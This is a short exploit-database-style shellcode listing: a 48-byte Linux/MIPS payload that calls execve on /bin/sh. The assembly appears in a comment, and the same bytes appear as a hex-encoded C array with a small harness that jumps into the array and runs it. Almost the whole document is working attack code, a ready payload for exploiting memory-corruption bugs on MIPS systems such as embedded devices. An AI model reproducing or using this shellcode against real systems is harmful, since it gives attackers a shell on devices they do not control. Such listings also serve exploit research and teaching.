/* Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan [at] gmail.com .text .global __start __start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12($sp) li $t6, 0x6e2f7368 sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 */ #include <stdio.h> char sc[] = { "\x28\x06\xff\xff" /* slti a2,zero,-1 */ "\x3c\x0f\x2f\x2f" /* lui t7,0x2f2f */ "\x35\xef\x62\x69" /* ori t7,t7,0x6269 */ "\xaf\xaf\xff\xf4" /* sw t7,-12(sp) */ "\x3c\x0e\x6e\x2f" /* lui t6,0x6e2f */ "\x35\xce\x73\x68" /* ori t6,t6,0x7368 */ "\xaf\xae\xff\xf8" /* sw t6,-8(sp) */ "\xaf\xa0\xff\xfc" /* sw zero,-4(sp) */ "\x27\xa4\xff\xf4" /* addiu a0,sp,-12 */ "\x28\x05\xff\xff" /* slti a1,zero,-1 */ "\x24\x02\x0f\xab" /* li v0,4011 */ "\x01\x01\x01\x0c" /* syscall 0x40404 */ }; void main(void) { void(*s)(void); printf("size: %d\n", strlen(sc)); s = sc; s(); }